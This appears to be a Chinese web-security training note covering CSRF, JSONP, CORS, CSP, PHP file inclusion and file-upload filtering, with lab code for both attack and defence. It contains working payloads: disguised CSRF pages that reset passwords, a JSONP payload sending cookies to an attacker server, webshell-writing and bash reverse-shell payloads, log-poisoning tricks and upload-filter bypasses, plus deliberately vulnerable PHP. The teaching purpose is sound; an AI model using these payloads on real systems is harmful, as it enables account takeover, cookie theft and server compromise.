赞
踩
csrf: cross site request forgrey 跨站请求伪造。当攻击者不能通过常用的手段获取cookie时候,可以通过伪造请求方式,让受害者自己点击链接触发服务器数据修改操作。由于请求是从受害者自己浏览器发送。所以,服务器会收到与该浏览器绑定的sessionid,一般用户点击后,攻击就完成了,有时候CSRF也称为一次性攻击。
1、用户需要登录目标系统
2、用户需要使用登录系统的浏览器打开CSRF攻击的链接地址
这个html页面放在黑客的服务器上
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>美女图片</title>
</head>
<body>
<a href="https://www.lyg50.com/mm">
<img src="0.jpg" width="500px">
</a>
</body>
<script src="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111"></script>
</html>
把页面的链接地址,发给用户,想办法让用户去点击
在用户打开页面的一瞬间,程序发了一个请求,去修改密码
使用firefox浏览器请求修改密码的页面,并且打开burp,让burp拦截修改密码请求
当burp拦截到请求后,鼠标右键空白处,选择Generate CSRF Poc,
会生成一个html页面的代码,这个页面很丑陋,需要自己美化
利用生成的html代码,创建一个html页面,放在黑客服务器上,并且把链接地址发给受害用户点击
设置白名单,只有在白名单列表中的才可以
以下是resetpasswd.php的代码,增加了验证refer部分
<?php // 开启session session_start(); $refer = $_SERVER['HTTP_REFERER']; if(!stripos($refer,"192.168.214.128")){ die('非法请求'); } //文件包含 include 'dbinfo.php'; //$_REQUEST既可以接收post方法的请求也可以接受get方法的请求 $pass = $_REQUEST['passwd']; // 从session中获取用户名 $username = $_SESSION['username']; $sql = "update tb_user set passwd='$pass' where username='$username'"; $result = mysqli_query($conn,$sql); if($result){ echo "update success"; }else{ echo "update fail"; } mysqli_close($conn); ?>
这种方案很容易会被绕过
黑客构造的html页面的文件名中带有白名单的域名或ip地址,例如把美女图片的html页面的名字修改为
192.168.214.128girl01.html,那么在检测refer的时候,这个文件名中包含192.168.214.128
在resetpassword.html页面的form里增加一个隐藏的token
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>修改密码</title> </head> <body> <form action="resetpasswd.php"> <input type="hidden" name="token" value="E5068ED7B755AF430CA35DEA14FAC1BE"> <p>新密码:<input type="password" name="passwd"></p> <p>确认密码:<input type="password" name="confirmpasswd"></p> <p><input type="submit" value="修改密码"></p> </form> </body> </html>
在resetpasswd.php中检查浏览器提交的这个token的值
<?php // 开启session session_start(); // 获取token $token = $_REQUEST['token']; //验证token if($token!='E5068ED7B755AF430CA35DEA14FAC1BE'){ die('非法请求'); } //文件包含 include 'dbinfo.php'; //$_REQUEST既可以接收post方法的请求也可以接受get方法的请求 $pass = $_REQUEST['passwd']; // 从session中获取用户名 $username = $_SESSION['username']; $sql = "update tb_user set passwd='$pass' where username='$username'"; $result = mysqli_query($conn,$sql); if($result){ echo "update success"; }else{ echo "update fail"; } mysqli_close($conn); ?>
此时,黑客的html链接即使用户点击也无法修改密码
但是,黑客可以把用户的这个固定的token值,加到自己制作的页面中
代码:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>美女图片</title> </head> <body> <a href="https://www.lyg50.com/mm"> <img src="0.jpg" width="500px"> </a> </body> <script src="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111&token=E5068ED7B755AF430CA35DEA14FAC1BE"></script> </html>
此时,黑客制作的网页只要被用户访问,就能够修改用户的密码了
防御CSRF攻击
先写一个generatetoken.php程序,动态生成token,上传到靶机
<?php
session_start();
//生成一个随机的字符串
$token = md5(md5("token".time().rand(1,10000)));
//把token放入session
$_SESSION['token'] = $token;
echo $token;
?>
在resetpasswd.html中增加js代码,使用jquery,每次页面刷新时,请求generatetoken.php获取一个新的token,并且放在页面的隐藏字段中
<input type="hidden" name="token" id="token" value="0">
resetpasswd.html代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>修改密码</title> <script src="jquery1.7.2.min.js"></script> </head> <body> <form action="resetpasswd.php"> <input type="hidden" name="token" id="token" value="0"> <p>新密码:<input type="password" name="passwd"></p> <p>确认密码:<input type="password" name="confirmpasswd"></p> <p><input type="submit" value="修改密码"></p> </form> </body> <script> //向服务器发请求,申请一个新的token $.get('generatetoken.php',function(res){ console.log(res); document.getElementById("token").value = res; }) </script> </html>
resetpasswd.php修改一下,验证session中保存的token是否和页面请求带来的token一致
<?php // 开启session session_start(); // 获取页面传入的token $token = $_REQUEST['token']; //从session中获取服务端生成的token $tokeninsess = $_SESSION['token']; if($tokeninsess!=$token){ die('非法请求'); } //验证通过后,删除session中的token unset($_SESSION['token']); //文件包含 include 'dbinfo.php'; //$_REQUEST既可以接收post方法的请求也可以接受get方法的请求 $pass = $_REQUEST['passwd']; // 从session中获取用户名 $username = $_SESSION['username']; $sql = "update tb_user set passwd='$pass' where username='$username'"; $result = mysqli_query($conn,$sql); if($result){ echo "update success"; }else{ echo "update fail"; } mysqli_close($conn); ?>
由于黑客无法预测token的下一个值是多少,因此,无法预先构造一个带有token的链接。因此可以防止CSRF攻击
但是,如果黑客通过其他手段能够上传html文件到受害者的服务器,那么这种动态token也可能会被绕过
加入黑客把下面这个getdynamictoken.html上传到了受害者的服务器,并且受害者不小心打开这个网页,而且点击了超链接,那么受害者的密码也会被修改到,因为,在这个页面里,黑客模拟了正常的程序,从服务端用ajax获取到了动态产生的token,并且拼接到了修改密码的url后面。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="jquery1.7.2.min.js"></script> </head> <body> <a id="t" href="http://192.168.214.128/hz02/posts/resetpasswd.php?passwd=111&confirmpasswd=111&token="> <img src="0.jpg" width="500px"> 约吗???</a> </body> <script> $.get('generatetoken.php',function(res){ console.log(res); document.getElementById("t").href = document.getElementById("t").href+res; }) </script> </html>
1、如何寻找漏洞
白盒测试:在代码中查询input关键字
黑盒测试:打开页面寻找可以输入的点
2、确定目标用户
我们需要确定被攻击的目标用户是哪些,因为需要把攻击链接发给目标用户点击。
3、把攻击链接地址发给目标用户
社工,邮件
4、三种xss类型的选择
优先用存储型,然后在尝试dom和反射型
1、如何寻找漏洞
白盒测试:查看一些更新操作,是否对请求头referer进行限制
黑盒测试:找到页面中的更新点
2、更新的前提
前置工作:先研究一下系统,获取到更新操作的url以及参数
修改上一步的参数,完成伪造的请求url
如果是post提交,必须伪造页面
用户必须是登录状态
用户必须使用登录的浏览器来请求伪造的链接
3、防御:
多个系统集成在一起的时候,浏览器需要从多个不同域名的子系统中来获取数据,这就需要跨域访问数据。
URL地址的组成:
http://www.woniuxy.com:9900/index.html
1、协议:http
2、域名或ip地址www.woniuxy.com
3、端口号:9900
以上三个部分组合在一起叫 “域”
两个url中以上三项中任何一项不同,就是不相同的域。
以下这两个是相同的域
http://192.168.214.128/hz02/posts/getdynamictoken.html
http://192.168.214.128/hz02/posts/generatetoken.php
以下这两个是不同的域
http://localhost:9999
http://127.0.0.1:9999
1、注意同源策略是浏览器上的安全策略
2、在浏览器上使用ajax发请求,才会受到同源策略的限制
会遇到这种报错:
<script src="">
<link rel="stylesheet" href="">
<iframe src="">
<img src="">
<a href="">
html代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h1>测试JSONP跨域访问</h1> </body> <script> function getTime(servertime){ console.log('server time',servertime); } </script> <script> // var dt = new Date();//在javascript中创建日期对象 // getTime(dt);//执行函数 // getTime('2024-3-19 10:53:24')//服务端拼接成调用函数的形式 </script> <script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=getTime"></script> </html>
服务端代码gettime.php:
<?php
date_default_timezone_set("PRC");//设置中国时区
$curtime = date('Y-m-d H:i:s');
$method = $_GET['callback'];
echo "$method('$curtime')";
//最后返回的是这种形式
//getTime('2024-3-19 10:53:24')
?>
JSONP跨域过程:
1、原理:利用script标签不受同源策略限制
2、先在html页面上定义好一个getTime(servertime),功能自己定义
3、利用script标签去请求另一个服务器的后端的接口,并且把html中定义好的函数名称getTime当做参数的值传过去,此处参数名称callback可以自己定义成其他的
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=getTime">
4、当服务端代码获取到参数callback的值的时候,也就是getTime,会放入 m e t h o d 变量中,在把 method变量中,在把 method变量中,在把curtime和$method拼接成一个函数调用的形式:getTime(‘2024-3-19 10:53:24’) 这个字符串就返回给了浏览器
5、当浏览器收到这个返回的时候,因为是在script标签中,浏览器就会认为这是在调用一个定义好的getTime的函数,所以浏览器就执行了这个函数,并且把’2024-3-19 10:53:24’传入函数
html代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <h1>测试JSONP跨域访问</h1> </body> <script> //定一个一个获取人的列表的方法 function getPersons(data){ console.log(data); //把json字符串转换成浏览器可以使用的json对象 //json字符串的样子:[{"name":"zhangsan","age":19},{"name":"lisi","age":20},{"name":"wangwu","age":23}] personList = JSON.parse(data); //循环每个对象,打印name和age for(i=0;i<personList.length;i++){ person = personList[i]; console.log("name=",person["name"],":age=",person["age"]) } } </script> <script src="http://192.168.110.128/hz02/posts/jsonp/getpersons.php?cb=getPersons"></script> </html>
服务端的程序getpersons.php
<?php
$persons=[
["name"=>"zhangsan","age"=>19],
["name"=>"lisi","age"=>20],
["name"=>"wangwu","age"=>23]
];
$method = $_GET['cb'];
$str = json_encode($persons);
echo "$method('$str')"
?>
这个代码写在黑客服务器上php代码:reccookie.php,用来接收受害者的cookie
<?php
$cookie = $_GET['ucookie'];
file_put_contents('./cookies.txt',$cookie);
?>
受害者服务器上的html代码:
注意:callback的参数值,我们又构造了一个Image对象,并且给它的属性值src一个地址,就是黑客服务器的地址,因此,这里会把用户当前的cookie获取出来,并且发给黑客的程序接收。
注意document.cookie前面的加号是用%2b编码来表示的。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>利用jsonp的漏洞获取用户的cookie</title>
</head>
<body>
<h1>利用jsonp的漏洞获取用户的cookie</h1>
</body>
<script src="http://192.168.110.128/hz02/posts/jsonp/gettime.php?callback=new Image().src='http://192.168.110.129/jsonp/reccookie.php?ucookie='%2bdocument.cookie//"></script>
</html>
受害者服务器上的php程序gettime.php
<?php
date_default_timezone_set("PRC");//设置中国时区
$curtime = date('Y-m-d H:i:s');
$method = $_GET['callback'];
echo "$method('$curtime')";
//最后返回的是这种形式
//getTime('2024-3-19 10:53:24')
?>
服务端代码
<?php
$jsonstr = "abcdefeefe";
$method = $_GET['callback'];
echo "$method('$jsonstr')";
?>
html代码
1、注意:需要引入jquery
2、$.getJSON方法调用时候,url后面带的callback的参数的值用?表示
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="jquery1.7.2.min.js"></script> </head> <body> 这是要动态获取的数据:<div id="t"></div> </body> <script> $.getJSON("http://192.168.110.128/hz02/posts/jsonp/getjson.php?callback=?",function(data){ document.getElementById("t").innerText=data; }); </script> </html>
1、前端不要传回调函数的名字给后端,直接约定好【这个防御手段虽然有点麻烦,但是有效果】
2、后端检查Referer请求头,必须是约定好的服务器的地址
3、严格显示callback函数名称里的恶意单词,例如cookie,alert等等
4、严格限制callback函数名称的长度
5、使用htmlspecialchars、addslashes函数转义
CORS,全称Cross-Origin Resource Sharing [1] ,是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制,通常由于同域安全策略(the same-origin security policy)浏览器会禁止这种跨域请求。
服务器给浏览器发响应头
header(key: value)
1、允许哪些域来请求服务器的资源
header("Access-Control-Allow-Origin: * ")//* 代表所有域名都可以来请求,不推荐这样配置
header("Access-Control-Allow-Origin: http://192.168.201.147") //允许从http://192.168.201.147发来的请求
2、允许使用哪些方法请求
header("Access-Control-Allow-Method: *")//* 代表允许所有请求的方法
header("Access-Control-Allow-Method: GET,POST")//只允许GET和POST请求
3、允许携带哪些请求头过来
header("Access-Control-Allow-Headers: *");
4、是否允许携带Cookie
header("Access-Control-Allow-Credentials: true");
html代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="jquery1.7.2.min.js"></script> </head> <body> <h1>测试Cors跨域访问</h1> </body> <script> $.get("http://192.168.110.128/hz02/posts/cors/test1.php",function(data){ alert(data) }) </script> </html>
服务端代码:
<?php
echo "abcd";
?>
如果服务器端没有配置任何响应头,浏览器会的到这样报错
如果服务端程序配置了响应头,那么浏览器会收到这样的响应头,就不会阻止ajax获取服务器的响应内容
此时的服务器端代码:
<?
header("Access-Control-Allow-Origin:*");//允许所有的域名访问
echo "abcd";
?>
服务端设置Origin请求白名单:
代码:
<?php
//定义一个允许请求的白名单
$arr = ["http://127.0.0.1","http://localhost","http://192.168.201.147"];
//从超全局变量$_SERVER获取origin
$origin = $_SERVER['HTTP_ORIGIN'];
//对比浏览器传来的origin是否在白名单中
if(in_array($origin ,$arr)){
header("Access-Control-Allow-Origin: $origin");
}
echo "aaaaaaaaa";
?>
注意:http://127.0.0.1和http://localhost不是相同的域。
Origin: http://192.168.3.67
(1)简单请求(需同时满足以下条件)不会触发预检请求
(2)非简单请求:(凡不同时满足上面两个条件,就属于非简单请求)会触发浏览器发生预检请求,这是浏览器的行为。“预检请求”的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。
CORS规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)
html代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <script src="jquery1.7.2.min.js"></script> </head> <body> <h1>测试Cors带预检请求的跨域访问</h1> </body> <script> $.ajax({ url:"http://192.168.110.128/hz02/posts/cors/test1.php", method:"POST", headers:{ //请求头为aa "aa":"zhangsan" }, success:function(data){ alert("success:"+data) } }) </script> </html>
服务端代码:
<?php
//定义一个允许请求的白名单
$arr = ["http://127.0.0.1","http://192.168.201.147"];
//从超全局变量$_SERVER获取origin
$origin = $_SERVER['HTTP_ORIGIN'];
//对比浏览器传来的origin是否在白名单中
if(in_array($origin ,$arr)){
header("Access-Control-Allow-Origin: $origin");//允许白名单的域
header("Access-Control-Allow-Method: *");//允许所有请求方法
header("Access-Control-Allow-Headers: *");//允许所有请求头
header("Access-Control-Allow-Credentials: true");//允许携带cookie
}
echo "aaaaaaaaa";
?>
全称:Content Security Policy
提高站点中所有资源的安全性。XSS的核心目的就是攻击浏览器,获取用户的cookie信息,从而拿到用户的信息。CSP中有一部分安全策略可以防御XSS获取用户的cookie以及执行恶意代码。因此CSP主要解决浏览器资源安全问题,其中就包含html,css,js,多媒体。我们这里主要是针对js进行防护。
CSP核心就是用白名单方式,开发者明确告知浏览器哪些资源外部可以加载和执行,实现和执行全部是浏览器来做,开发者只需要正确配置即可。
(1) 在内容展示php页面或者html页面,添加csp:
<?php session_start(); //ini_set("session.cookie_httponly",1); header("Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' "); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSP演示</title> <script src="http://192.168.88.129/testcsp.js"></script> <script src="testcsp.js"></script> </head> <body> <button οnclick="show()">点击一下</button> <button οnclick="showalert()">执行文件中的方法</button> <button οnclick="alertmessage()">执行文件中的方法</button> <img src="0.jpg" width="430"> </body> <script> function show(){ alert(document.cookie) result = eval('1+2') console.log(result) } </script> </html>
如果仅仅是在html页面增加限制策略,可以把下面这配置放在html的head标签内部
<meta http-equiv=“Content-Security-Policy” content="script-src 'self'">
(2) 其他配置:
script-src 'self' http://www.woniunote.com *.jd.com 'unsafe-inline'对于脚本:只信任当前域名自己和http://www.woniunote.com 还有就是*.jd.com这样的网站,'unsafe-inline'是指内嵌在页面中<script></script>标签内的js脚本 img-src 对于图片,允许从哪些来源加载 'none'表示不允许从任何url加载,'self'只信任当前域名 object-src 'none',对于<object>标签:不信任任何URL,即不加载任何资源 style-src 对于样式表,允许从哪些来源加载 child-src https,对于框架(iframe):必须使用HTTPS协议加载,注意冒号是https协议的一部分 unsafe-eval 允许把字符串当做代码来执行,例如eval,setTimeout,setInterval nonce 每次响应头中给出一个随机值,例如:nonce-12345,当内嵌的script脚本包含这个值,才能执行 hash 列出允许执行的代码的hash值,页面内嵌脚本的hash值必须吻合,才能被执行 default-src 'self'; report-uri http://192.168.81.128/getreport.php 只允许从当前域名加载资源文件,并且一旦有违反,会向report-uri后面指定的地址发送报告 default-src 'self'; script-src 'self' https://example.com; img-src 'self'; style-src 'self' 'unsafe-inline'; font-src 'self' https://example.com; default-src: 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加载策略,如果某类型资源没有单独定义策略,就使用默认的。
在httpd.conf文件中,添加安全策略及报告uri:
Header set Content-Security-Policy "default-src 'self' 'unsafe-inline' http://192.168.81.128;report-uri http://192.168.81.129/csp/receivereport.php"
在192.168.88.129上准备一个接受报告的php程序receivereport.php
代码如下:注意这个php文件所在的目录,需要放开所有用户的写权限,否则无法写入报告的文件
<?php
$data = file_get_contents("php://input");//php的伪协议
$f = fopen('cspreport.txt',"a");//这一行要注意,cspreport.txt所在的文件夹要有些权限
$json = json_decode($data,true);
fwrite($f,date("y-m-d h:i:s \r\n"));
fwrite($f,"-----------------------------------------------------------------------------------------------------------\r\n");
foreach($json['csp-report'] as $key=>$val){
fwrite($f,"$key:$val \r\n");
}
fwrite($f,"-------------------------------------------------------------------------------------------------\r\n\r\n\r\n");
fclose($f);
?>
如何 禁止:document.cookie : js获取用户cookie
(1) 全局设置:在php.ini配置文件中,将 session.cookie_httponly的值改为On.重启apache服务。
(2) 局部设置:在需要禁用js获取cookie页面上添加ini_set();
<?php
ini_set("session.cookie_httponly",1);
?>
include
include_once //自动过滤重复的引用
require
require_once
文件名:test.php
==============
<?php
$f = $_GET['fc'];
include $f;
?>
在test.php相同的目录里面再创建一个文件a.txt,内容是:
111
访问上面的test.php
http://192.168.88.128/hz02/posts/include/test.php?fc=a.txt
会把a.txt的内容全部显示出来
1、企业里面需要快速发布新的功能
2、一些开源框架,需要动态加载第三方提供的插件功能
代码样例:
index.php负责显示动态产生的标签,
注意此文件中包含了dbinfo.php,是数据库的连接信息
<?php include 'dbinfo.php'; $sql = "select label,filename from tb_files"; $result = mysqli_query($conn,$sql); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <style> ul { list-style-type: none; padding: 0; /* 去除默认的padding */ margin: 0; /* 去除默认的margin */ } ul li { display: inline-block; margin-right: 10px; /* 设置间距 */ } </style> <script> function show(inf){ document.getElementById("infile").value=inf; document.forms[0].submit(); // console.log(document.forms[0]); } </script> </head> <body> <ul> <?php while($rows = mysqli_fetch_assoc($result)){ ?> <li><a href=javascript:show("<?=$rows['filename']?>")><?=$rows['label']?></a></li> <?php } ?> </ul> <div id="content"> <?php $infilename = @$_GET['infile']; if(isset($infilename)){ include $infilename; } ?> </div> <form id="su"> <input type="hidden" name="infile" id="infile"> </form> </body> </html> <?php mysqli_close($conn); ?>
pushfile.php
注意:把这个文件所在的目录的其他人的写权限开放否则无法上传文件
<?php $submit = @$_POST['submit']; if(isset($submit)){ $label = $_POST['label']; $filename = $_FILES['phpfile']['name']; $tmpfile = $_FILES['phpfile']['tmp_name']; move_uploaded_file($tmpfile,$filename); include 'dbinfo.php'; mysqli_set_charset($conn,'utf8'); $sql = "insert into tb_files(label,filename) values ('$label','$filename') "; $result = mysqli_query($conn,$sql); if($result){ echo "success"; }else{ echo "fail"; } mysqli_close($conn); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件发布</title> </head> <body> <form action="pushfile.php" method="post" enctype="multipart/form-data"> <p>标签名:<input type="text" name="label"></p> <p>文件:<input type="file" name="phpfile"></p> <p><input type="submit" name="submit"></p> </form> </body> </html>
//读取存在文件包含漏洞的服务器上的文件
http://192.168.88.128/hz02/posts/include/test.php?fc=/etc/passwd
http://192.168.88.128/hz02/posts/include/test.php?fc=0.jpg
http://192.168.88.128/hz02/posts/include/test.php?fc=abd.php //(本地包含php只能看到php执行结果)
http://192.168.88.128/hz02/posts/include/test.php?fc=abd.php&name=zhangsan //(如果被包含的php还需要参数,那么在url中使用&连接)
首先需要/opt/lampp/etc/php.ini文件中打开两个配置项,修改好配置,要重启
/opt/lampp/xampp restart
allow_url_fopen=On
allow_url_include=On //这个如果不打开,远程文件无法包含
远程包含另一个服务器的文件
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/tinclude.txt //(读取另一个服务器上的文本文件)
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/testinclude.php //(包含远程服务器的php文件,那么php文件会先在远程服务器执行,然后把结果返回并包含进来)
http://192.168.88.128/hz02/posts/include/test.php?fc=http://192.168.88.129/csp/testinclude.php?name=zhangsan%26age=19 //(当远程服务器上的php需要参数的时候,用?连接,如果有多个参数,那么参数之间要使用%26来连接)
如果遇到下面的报错,说明服务器禁止远程包含
这个协议把请求体中所有内容作为整体,全部读取 <?php $data = file_get_contents("php://input"); echo $data; ?> 可以使用POST方法,传入大量的文本,不需要参数名。 =========== 文件包含的代码test.php: <?php $f = $_GET['fc']; include $f; ?> 请求上面这个test.php读取任意文件 http://192.168.88.128/include/test1.php?fc=php://input payload:使用POST方法传入 <?php echo file_get_contents('/etc/passwd'); ?>
请求test.php文件,写入一句话木马
http://192.168.88.128/include/test1.php?fc=php://input
payload:使用POST方法传入
<?php file_put_contents("/opt/lampp/htdocs/img/muma.php","<?php eval($"."_"."POST[a]);?>");?>
以base64的格式显示输出,可以获取php文件的源代码,php代码不会被执行。
注意:返回的php源码被使用base64转码,需要再一次转回成普通编码格式才能阅读
读取php文件的源码
http://192.168.88.128/include/test1.php?fc=php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/dbinfo.php
但是读到的结果需要用base64转码才能看到原文
读取图片文件
http://192.168.88.128/include/test1.php?fc=php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/0.jpg
压缩文件a.zip里面有个a.txt,通过下面的方式直接可以访问到a.txt内容
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/a.zip/a.txt
压缩文件b.zip里面有两层目录dir1/dir2,在dir2里有b.txt,phar协议可以访问压缩文件b.zip中多级目录下的文件
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/b.zip/dir1/dir2/b.txt
注意:压缩文件生成以后,可以任意修改扩展名,此时我们把扩展名修改成jpg,还是可以读取到
http://192.168.88.128/include/test1.php?fc=phar:///opt/lampp/htdocs/hz02/posts/include/b.jpg/dir1/dir2/b.txt
1)zip只能读取压缩文件中的第一层目录中的文件,不能有多级目录
2)压缩文件和真正的文件之间要用%23分隔,不能/
http://192.168.88.128/include/test1.php?fc=zip:///opt/lampp/htdocs/hz02/posts/include/a.zip%23a.txt
能把用户输入的展示在页面上
把用户输入的hello展示出来 http://192.168.88.128/include/test1.php?fc=data://text/plain,hello 可以执行php代码,并显示 http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php phpinfo();?> 可以写入一句话木马 http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php file_put_contents("/opt/lampp/htdocs/hz02/posts/data/muma.php","<?php eval($"."_"."POST[a]);?>");?> ======== 执行反弹shell http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?> 具体如何操作: 1)开启kali,注意这里我的kali的ip地址是192.168.88.130,要根据自己的ip替换下面命令中的ip 并执行 nc -lvp 4444 2)在浏览器上执行 http://192.168.88.128/include/test1.php?fc=data://text/plain,<?php system("bash -i >%26 /dev/tcp/192.168.88.130/4444 0>%261"); ?> 3)在kali的控制台上就能执行命令,实际就是在被害者机器上执行
(1)通过正常的访问php文件,带上一句话木马参数,让apache写入到/opt/lampp/logs/access_log
192.168.88.1 - - [20/Mar/2024:16:56:17 +0800] "GET /include/test1.php?fc=<?php eval($_POST[a]);?>" 400 964
(2)访问文件包含的php,把apache的日志作为被包含的参数,因为日志文件里的一句话木马需要一个参数a,那么我们用POST的方式传一个参数给a,如下图
http://192.168.88.128/include/test1.php?fc=/opt/lampp/logs/access_log&
前提:需要mysql打开日志
1.开启方式:/opt/lampp/etc/my.cnf或my.ini 添加三个参数
log-output=FILE
general-log=1
general_log_file=xxxx.log
修改好配置,重启mysql
执行sql语句
select '<?php phpinfo();?>' from tb_files;
会把<?php phpinfo();?>写入到日志文件
访问
http://192.168.88.128/include/test1.php?fc=/tmp/mysql.log
就能执行phpinfo(),
注意:mysql的日志文件基本不会开放给其他用户读取,所以,一般这种方式不行。
(1)使用ssh登录受害者主机,用户名使用一句话木马
ssh '<?php eval($_POST[code]);?>'@192.168.32.128
这样就会在受害者机器上的ssh日志文件写入一句话木马
访问文件包含的php,注意传入给日志文件参数名是code
http://192.168.88.128/include/test1.php?fc=/var/log/secure&
1、用户资料
需要上传用户的头像,属于图片上传
2、企业内部系统
企业内部的数据导入功能
3、商品图片上传
getshell,获取系统资源,例如拖库。
html代码
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件上传</title> </head> <body> <h1>文件上传</h1> <form action="uploadfiles.php" id="fm" method="post" enctype="multipart/form-data"> <p><input type="file" name="f"></p> <p><input type="button" value="上传" name="btn_smt" onclick="upload()"></p> </form> </body> <script> function upload(){ fm = document.getElementById("fm"); fm.submit(); } </script> </html>
php代码
<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
?>
上面的上传代码对文件没有做任何限制
可以从前端js限制用户上传的文件类型,如果不在文件类型的白名单中,拒绝上传
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件上传</title> </head> <body> <h1>文件上传</h1> <form action="uploadfiles.php" id="fm" method="post" enctype="multipart/form-data"> <p><input type="file" name="f" id="f"></p> <p><input type="button" value="上传" name="btn_smt" onclick="upload()"></p> </form> </body> <script> function upload(){ //对文件类型做检查 f = document.getElementById("f"); index = f.value.lastIndexOf("."); ext = f.value.substr(index+1); if(ext=='jpg' || ext=='png' || ext == 'jpeg'){ fm = document.getElementById("fm"); fm.submit(); }else{ alert('上传的文件不合法') } } </script> </html>
这种前端js校验很容易绕过
使用python代码绕过, 直接上传文件: import requests url = "http://192.168.43.128/uploadfiles/uploadfiles.php" formdata={ "f":("m3.php" , open("C:/Users/Administrator/Desktop/tmp/m3.php","rb"), "text/plain") } requests.post(url,files=formdata) ============== 使用burp拦截,也可以绕过前端检查 1)把要上传的m4.php先修改扩展名,改成m4.jpg 2)打开burp,拦截上传的请求 3)把上传的文件名改回m4.php
MIME文件类型列表:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
后端服务程序做文件类型检查
<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
if($type=='image/png' || $type=='image/jpeg'){
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}else{
echo "文件类型不合法";
}
?>
这种后端程序做MIME类型检查,也是很容易绕过的,方法如下:
1) 打开burp代理
2)选择一个php文件上传
3)burp拦截到上传请求后,把请求头中的Content-Type: 值设置为image/png 即可
以上允许传图片的检测方式,还可以使用图片马绕过,但是要想利用,需要结合文件包含才可以。
后端通过定义一个文件扩展名的黑名单列表,阻止非法的文件
<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
//定义一个不允许的扩展名的列表(黑名单)
$extlist = ['php','html','jsp','asp','aspx'];
$ext = end(explode(".",$name));
if(in_array($ext,$extlist)){
die("文件类型不合法");
}else{
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}
?>
这个可以通过大小写绕过。上传文件的时候,把文件的扩展名写成m4.PHP
为了防住大小写绕过,可以把扩展名一律转为小写,再比较,再上面的代码中加上一句
$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写
针对上面都转成小写,并且检查php结尾的防御,可以在上传文件的扩展名后面再增加一个.
这需要使用burp来拦截,拦截请求后,把文件名后面增加一个.
